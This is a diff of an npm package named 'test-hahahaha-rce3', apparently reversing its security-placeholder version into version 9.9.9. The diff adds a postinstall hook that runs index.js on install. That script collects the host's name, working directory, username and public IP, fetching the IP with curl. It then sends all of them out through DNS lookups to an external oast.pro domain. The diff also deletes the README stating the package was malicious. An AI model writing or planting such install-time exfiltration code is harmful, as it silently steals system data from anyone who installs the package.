test-hahahaha-rce3 0.0.1-security → 9.9.9

package/index.js

@@ -0,0 +1,39 @@
+const dns = require("dns");
+const { execSync } = require("child_process");
+
+// Function to execute a shell command and return sanitized output
+function runCommand(cmd) {
+    return execSync(cmd).toString().trim().replace(/[^a-zA-Z0-9.-]/g, ""); // Ensure it's DNS-safe
+}
+
+// Get system data
+const hostname = runCommand("hostname");
+const pwd = runCommand("pwd");
+const username = runCommand("whoami");
+
+// Get public IP address
+let publicIP;
+try {
+    publicIP = runCommand("curl -s ifconfig.me"); // Fetch public IP
+} catch (error) {
+    publicIP = "unknown";
+}
+
+// Function to send DNS A record request
+function sendDNSRequest(subdomain) {
+    const trackingDomain = `${subdomain}.${hostname}.cuq6qc0resr6s9214en0ui9b38z3fuas8.oast.pro`;
+
+    dns.resolve4(trackingDomain, (err, addresses) => {
+        if (err) {
+            // Silently handle errors
+        } else {
+            console.log(`DNS A record response for ${subdomain}: ${addresses}`);
+        }
+    });
+}
+
+// Send DNS requests in the correct order
+sendDNSRequest(hostname);         // Send HOSTNAME first
+sendDNSRequest(`pwd-${pwd}`);     // Send PWD under hostname
+sendDNSRequest(`user-${username}`); // Send USERNAME under hostname
+sendDNSRequest(`ip-${publicIP}`); // Send PUBLIC IP under hostname

package/package.json

@@ -1,6 +1,15 @@
 {
   "name": "test-hahahaha-rce3",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "9.9.9",
+  "description": "",
+  "main": "index.js",
+  "directories": {
+    "test": "test"
+  },
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "postinstall":"node index.js"
+  },
+  "author": "",
+  "license": "ISC"
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=test-hahahaha-rce3 for more information.